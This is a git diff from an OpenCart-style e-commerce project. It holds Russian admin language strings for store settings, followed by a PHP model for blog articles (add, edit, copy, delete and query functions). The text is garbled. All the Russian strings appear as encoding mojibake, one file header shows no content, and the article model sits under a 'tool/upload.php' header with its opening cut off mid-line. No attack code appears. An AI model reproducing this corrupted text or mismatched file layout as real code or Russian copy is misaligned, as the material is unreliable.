+$_['help_return_status'] = 'Ðтот ÑÑ‚Ð°Ñ‚ÑƒÑ Ð±ÑƒÐ´ÐµÑ‚ приÑвоен заказу поÑле Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ Ð¾Ð¿ÐµÑ€Ð°Ñ†Ð¸Ð¸ возврата.';
+$_['help_captcha'] = 'Защитный код иÑпользовать Ð´Ð»Ñ Ñ€ÐµÐ³Ð¸Ñтрации, входа в ÑиÑтему, контакты и обзоры.';
+$_['help_icon'] = 'Иконка должна быть PNG размером 16px x 16px.';
+$_['help_ftp_root'] = 'Каталог, в который уÑтановлен OPENCART; обычно \'public_html/\'.';
+$_['help_mail_engine'] = 'МенÑйте «Почта», еÑли ваш хоÑтинг отключил функцию php mail.';
+$_['help_mail_protocol'] = 'Выбирайте Mail, и только в Ñлучае, когда Ñтот ÑпоÑоб не работает — SMTP.';
+$_['help_mail_parameter'] = 'ОСТОРОЖÐО. Ðе заполнÑйте поле, еÑли не знаете, Ð´Ð»Ñ Ñ‡ÐµÐ³Ð¾ оно. Когда иÑпользуетÑÑ Mail, здеÑÑŒ могут быть указаны дополнительные параметры Ð´Ð»Ñ sendmail (напр. -femail@storeaddress.com).';
+$_['help_mail_smtp_hostname'] = 'Добавьте \'tls://\' Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ ÐµÑли требуетÑÑ Ð·Ð°Ñ‰Ð¸Ñ‰ÐµÐ½Ð½Ð¾Ðµ Ñоединение. (прим.: \'tls://smtp.gmail.com\').';
+$_['help_mail_alert'] = 'Выберите, дейÑÑ‚Ð²Ð¸Ñ Ð¾ которых вы хотите получать Ð¾Ð¿Ð¾Ð²ÐµÑ‰ÐµÐ½Ð¸Ñ Ð½Ð° E-Mail.';
+$_['help_mail_alert_email'] = 'Дополнительные E-Mail Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð¾Ð¿Ð¾Ð²ÐµÑ‰ÐµÐ½Ð¸Ð¹ на них. (разделитель — запÑтаÑ).';
+$_['help_secure'] = 'Ð”Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ SSL убедитеÑÑŒ что Ваш хоÑтинг поддерживает SSL Ñертификат и пропишите SSL адреÑа в файле конфигурации.';
+$_['help_shared'] = 'Помещает идентификатор ÑеÑÑии в URI, позволÑÑ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°Ñ‚ÑŒ одну ÑеÑÑию при переходах между разными доменами.';
+$_['help_robots'] = 'СпиÑок веб-роботов (их User Agents), Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… ÐЕ ÐÐДО иÑпользовать метод Shared Sessions. Каждый User Agent указываетÑÑ Ð² новой Ñтроке.';
+$_['help_seo_url'] = 'Ðеобходимо наÑтроить файл .htaccess в корневом каталоге магазина (переименуйте .htaccess.тхт в .htaccess)';
+$_['help_file_max_size'] = 'МакÑимальный размер изображениÑ, который может быть загружен через менеджер изображений. Указывать в байтах.';
+$_['help_file_ext_allowed'] = 'Добавьте раÑширение файла, которое может быть загружено. Каждое значение на новой Ñтроке.';
+$_['help_file_mime_allowed'] = 'Добавьте MIME-типы файлов, разрешенные Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸. Каждый тип на новой Ñтроке.';
+$_['help_maintenance'] = 'Отключает отображение магазина покупателÑм. Им будет отображатьÑÑ Ñообщение об обÑлуживании. ПоÑле авторизации админом, магазин будет полноценно отображатьÑÑ.';
+$_['help_password'] = 'Разрешить функцию ÑброÑа забытого Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð´Ð»Ñ Ð°Ð´Ð¼Ð¸Ð½-пользователей. Ðто будет запрещено автоматичеÑки при обнаружении попытки взлома.';
+$_['help_encryption'] = 'Ключ, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð´ÐµÐ½Ñ†Ð¸Ð°Ð»ÑŒÐ½Ð¾Ð¹ информации при обработке заказов.';
+$_['help_compression'] = 'GZIP иÑпользуетÑÑ Ð´Ð»Ñ ÑƒÐ²ÐµÐ»Ð¸Ñ‡ÐµÐ½Ð¸Ñ ÑффективноÑти передачи запроÑов. Уровень ÑÐ¶Ð°Ñ‚Ð¸Ñ Ð´Ð¾Ð»Ð¶ÐµÐ½ быть между 0 - 9.';
+$_['help_seo_pro'] = "ЧПУ без дублей";
+$_['help_config_seo_url_include_path'] = "/category/subcategory/product";
+$_['help_seo_url_postfix'] = 'Ðапример .html (только Ð´Ð»Ñ SeoPro)';
+$_['help_sms_from'] = 'Ðе более 11 Ñимволов, либо номер телефона до 15 цифр';
+$_['help_sms_to'] = 'В международном формате, только цифры 7926xxxxxxx';
+$_['help_sms_copy'] = 'Указывать через запÑтую, в международном формате, без разделителей 7926xxxxxxx';
+$_['help_sms_message'] = 'Можно иÑпользовать теги: {ID} - Ðомер Заказа {DATE} - Дата Заказа {TIME} - Ð’Ñ€ÐµÐ¼Ñ Ð—Ð°ÐºÐ°Ð·Ð° {SUM} - Сумма Заказа {FIRST_NAME} - Ð˜Ð¼Ñ ÐŸÐ¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ {LAST_NAME} - Ð¤Ð°Ð¼Ð¸Ð»Ð¸Ñ ÐŸÐ¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ {PHONE} - Телефон ПокупателÑ';
+$_['help_config_valide_param_flag'] = 'Отключить переадреÑацию Ð´Ð»Ñ Ð¸Ð· разрешенного ÑпиÑка get-параметров';
+$_['help_valide_params'] = 'Каждый Ñ Ð½Ð¾Ð²Ð¾Ð¹ Ñтроки';
+
+// Error
+$_['error_warning'] = 'Внимательно проверьте форму на ошибки!';
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_name'] = 'Ðазвание должно Ñодержать от 3 до 32 Ñимволов!';
+$_['error_owner'] = 'Ð˜Ð¼Ñ Ð²Ð»Ð°Ð´ÐµÐ»ÑŒÑ†Ð° магазина должно Ñодержать от 3 до 64 Ñимволов!';
+$_['error_address'] = 'ÐÐ´Ñ€ÐµÑ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° должен Ñодержать от 10 до 256 Ñимволов!';
+$_['error_email'] = 'E-Mail Ð°Ð´Ñ€ÐµÑ Ð²Ð²ÐµÐ´ÐµÐ½ неверно!';
+$_['error_telephone'] = 'Ðомер телефона должен Ñодержать от 3 до 32 Ñимволов!';
+$_['error_meta_title'] = 'Мета-тег Title должен Ñодержать от 3 до 32 Ñимволов!';
+$_['error_limit'] = 'Укажите лимиты!';
+$_['error_login_attempts'] = 'КоличеÑтво попыток авторизации должно быть больше 0!';
+$_['error_customer_group_display'] = 'Ð’Ñ‹ должны включить группу покупателей по умолчанию, еÑли ÑобираетеÑÑŒ иÑпользовать Ñту опцию!';
+$_['error_voucher_min'] = 'Укажите минимальную Ñумму подарочного Ñертификата!';
+$_['error_voucher_max'] = 'Укажите макÑимальную Ñумму подарочного Ñертификата!';
+$_['error_processing_status'] = 'Ðеобходимо выбрать Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ 1 ÑÑ‚Ð°Ñ‚ÑƒÑ Ð¾Ñ„Ð¾Ñ€Ð¼Ð»ÐµÐ½Ð¸Ñ Ð·Ð°ÐºÐ°Ð·Ð°';
+$_['error_complete_status'] = 'Ðеобходимо выбрать Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ 1 ÑÑ‚Ð°Ñ‚ÑƒÑ Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ð¾Ð³Ð¾ заказа';
+$_['error_image_thumb'] = 'Ðеобходимо уÑтановить размер большого Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð°!';
+$_['error_image_popup'] = 'Ðеобходимо уÑтановить размер вÑплывающего Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð°!';
+$_['error_image_product'] = 'Ðеобходимо уÑтановить размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² ÑпиÑке товаров!';
+$_['error_image_category'] = 'Ðеобходимо уÑтановить размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¹!';
+$_['error_image_additional'] = 'Ðеобходимо уÑтановить размер дополнительных изображений товаров!';
+$_['error_image_related'] = 'Ðеобходимо уÑтановить размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñ…Ð¾Ð¶Ð¸Ñ… товаров!';
+$_['error_image_compare'] = 'Ðеобходимо уÑтановить размер изображений при Ñравнении!';
+$_['error_image_wishlist'] = 'Ðеобходимо уÑтановить размер изображений в закладках!';
+$_['error_image_cart'] = 'Ðеобходимо уÑтановить размер изображений товаров в корзине!';
+$_['error_image_location'] = 'Ðеобходимо уÑтановить размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°!';
+$_['error_ftp_hostname'] = 'Ðеобходимо указать FTP Ñервер!';
+$_['error_ftp_port'] = 'Ðеобходимо указать FTP порт!';
+$_['error_ftp_username'] = 'Ðеобходимо указать FTP логин!';
+$_['error_ftp_password'] = 'Ðеобходимо указать FTP пароль!';
+$_['error_error_filename'] = 'Ðеобходимо ввеÑти Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð° журнала ошибок!';
+$_['error_malformed_filename'] = 'Ðеверное Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°!';
+$_['error_encryption'] = 'Ключ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾Ð»Ð¶ÐµÐ½ Ñодержать от 32 до 1024 Ñимволов!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/setting/store.php b/public/admin/language/ru-ru/setting/store.php
new file mode 100644
index 0000000..29e8752
--- /dev/null
+++ b/public/admin/language/ru-ru/setting/store.php
@@ -0,0 +1,128 @@
+
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/tool/upload.php b/public/admin/language/ru-ru/tool/upload.php
new file mode 100644
index 0000000..9a60b4d
--- /dev/null
+++ b/public/admin/language/ru-ru/tool/upload.php
@@ -0,0 +1,24 @@
+db->query("INSERT INTO " . DB_PREFIX . "article SET status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_added = NOW()");
+
+ $article_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article SET image = '" . $this->db->escape($data['image']) . "' WHERE article_id = '" . (int)$article_id . "'");
+ }
+
+ foreach ($data['article_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_description SET article_id = '" . (int)$article_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['article_store'])) {
+ foreach ($data['article_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_store SET article_id = '" . (int)$article_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['article_image'])) {
+ foreach ($data['article_image'] as $article_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_image SET article_id = '" . (int)$article_id . "', image = '" . $this->db->escape($article_image['image']) . "', sort_order = '" . (int)$article_image['sort_order'] . "'");
+ }
+ }
+
+ if (isset($data['article_download'])) {
+ foreach ($data['article_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_download SET article_id = '" . (int)$article_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ if (isset($data['article_category'])) {
+ foreach ($data['article_category'] as $blog_category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_blog_category SET article_id = '" . (int)$article_id . "', blog_category_id = '" . (int)$blog_category_id . "'");
+ }
+ }
+
+ if (isset($data['main_blog_category_id']) && $data['main_blog_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "' AND blog_category_id = '" . (int)$data['main_blog_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_blog_category SET article_id = '" . (int)$article_id . "', blog_category_id = '" . (int)$data['main_blog_category_id'] . "', main_blog_category = 1");
+ } elseif (isset($data['article_category'][0])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article_to_blog_category SET main_blog_category = 1 WHERE article_id = '" . (int)$article_id . "' AND blog_category_id = '" . (int)$data['article_category'][0] . "'");
+ }
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related SET article_id = '" . (int)$article_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$related_id . "' AND related_id = '" . (int)$article_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related SET article_id = '" . (int)$related_id . "', related_id = '" . (int)$article_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_product SET article_id = '" . (int)$article_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['article_seo_url'])) {
+ foreach ($data['article_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'article_id=" . (int)$article_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['article_layout'])) {
+ foreach ($data['article_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_layout SET article_id = '" . (int)$article_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ $this->cache->delete('article');
+
+ return $article_id;
+ }
+
+ public function editArticle($article_id, $data) {
+
+ $this->db->query("UPDATE " . DB_PREFIX . "article SET status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_modified = NOW() WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article SET image = '" . $this->db->escape($data['image']) . "' WHERE article_id = '" . (int)$article_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_description WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($data['article_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_description SET article_id = '" . (int)$article_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_store WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_store'])) {
+ foreach ($data['article_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_store SET article_id = '" . (int)$article_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_image WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_image'])) {
+ foreach ($data['article_image'] as $article_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_image SET article_id = '" . (int)$article_id . "', image = '" . $this->db->escape($article_image['image']) . "', sort_order = '" . (int)$article_image['sort_order'] . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_download WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_download'])) {
+ foreach ($data['article_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_download SET article_id = '" . (int)$article_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_category'])) {
+ foreach ($data['article_category'] as $blog_category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_blog_category SET article_id = '" . (int)$article_id . "', blog_category_id = '" . (int)$blog_category_id . "'");
+ }
+ }
+
+ if (isset($data['main_blog_category_id']) && $data['main_blog_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "' AND blog_category_id = '" . (int)$data['main_blog_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_blog_category SET article_id = '" . (int)$article_id . "', blog_category_id = '" . (int)$data['main_blog_category_id'] . "', main_blog_category = 1");
+ } elseif (isset($data['article_category'][0])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article_to_blog_category SET main_blog_category = 1 WHERE article_id = '" . (int)$article_id . "' AND blog_category_id = '" . (int)$data['article_category'][0] . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE related_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related SET article_id = '" . (int)$article_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$related_id . "' AND related_id = '" . (int)$article_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related SET article_id = '" . (int)$related_id . "', related_id = '" . (int)$article_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_product SET article_id = '" . (int)$article_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ // SEO URL
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'article_id=" . (int)$article_id . "'");
+
+ if (isset($data['article_seo_url'])) {
+ foreach ($data['article_seo_url']as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'article_id=" . (int)$article_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_layout WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_layout'])) {
+ foreach ($data['article_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_layout SET article_id = '" . (int)$article_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('article');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ }
+
+ public function editArticleStatus($article_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article SET status = '" . (int)$status . "', date_modified = NOW() WHERE article_id = '" . (int)$article_id . "'");
+
+ $this->cache->delete('article');
+
+ return $article_id;
+ }
+
+ public function copyArticle($article_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id) WHERE p.article_id = '" . (int)$article_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ if ($query->num_rows) {
+ $data = $query->row;
+
+ $data['viewed'] = '0';
+ $data['keyword'] = '';
+ $data['status'] = '0';
+ $data['noindex'] = '0';
+
+ $data['article_description'] = $this->getArticleDescriptions($article_id);
+ $data['article_image'] = $this->getArticleImages($article_id);
+ $data['article_related'] = $this->getArticleRelated($article_id);
+ $data['product_related'] = $this->getProductRelated($article_id);
+ $data['article_category'] = $this->getArticleCategories($article_id);
+ $data['article_download'] = $this->getArticleDownloads($article_id);
+ $data['article_layout'] = $this->getArticleLayouts($article_id);
+ $data['article_store'] = $this->getArticleStores($article_id);
+
+ $this->addArticle($data);
+ }
+ }
+
+ public function deleteArticle($article_id) {
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_description WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_image WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE related_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_download WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_layout WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_store WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "review_article WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'article_id=" . (int)$article_id . "'");
+
+ $this->cache->delete('article');
+
+ }
+
+ public function getArticle($article_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id) WHERE p.article_id = '" . (int)$article_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getArticles($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && !is_null($data['filter_noindex'])) {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $sql .= " GROUP BY p.article_id";
+
+ $sort_data = array(
+ 'pd.name',
+ 'p.status',
+ 'p.noindex',
+ 'p.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY pd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getArticlesByCategoryId($blog_category_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id) LEFT JOIN " . DB_PREFIX . "article_to_blog_category p2c ON (p.article_id = p2c.article_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND p2c.blog_category_id = '" . (int)$blog_category_id . "' ORDER BY pd.name ASC");
+
+ return $query->rows;
+ }
+
+ public function getArticleDescriptions($article_id) {
+ $article_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_description WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword']
+ );
+ }
+
+ return $article_description_data;
+ }
+
+ public function getArticleCategories($article_id) {
+ $article_category_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_category_data[] = $result['blog_category_id'];
+ }
+
+ return $article_category_data;
+ }
+
+ public function getArticleMainCategoryId($article_id) {
+ $query = $this->db->query("SELECT blog_category_id FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "' AND main_blog_category = '1' LIMIT 1");
+
+ return ($query->num_rows ? (int)$query->row['blog_category_id'] : 0);
+ }
+
+ public function getArticleImages($article_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_image WHERE article_id = '" . (int)$article_id . "' ORDER BY sort_order ASC");
+
+ return $query->rows;
+ }
+
+ public function getArticleDownloads($article_id) {
+ $article_download_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_to_download WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_download_data[] = $result['download_id'];
+ }
+
+ return $article_download_data;
+ }
+
+ public function getArticleStores($article_id) {
+ $article_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_to_store WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_store_data[] = $result['store_id'];
+ }
+
+ return $article_store_data;
+ }
+
+ public function getArticleSeoUrls($article_id) {
+ $article_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'article_id=" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $article_seo_url_data;
+ }
+
+ public function getArticleLayouts($article_id) {
+ $article_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_to_layout WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $article_layout_data;
+ }
+
+ public function getArticleRelated($article_id) {
+ $article_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['related_id'];
+ }
+
+ return $article_related_data;
+ }
+
+ public function getProductRelated($article_id) {
+ $article_related_product = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_product[] = $result['product_id'];
+ }
+
+ return $article_related_product;
+ }
+
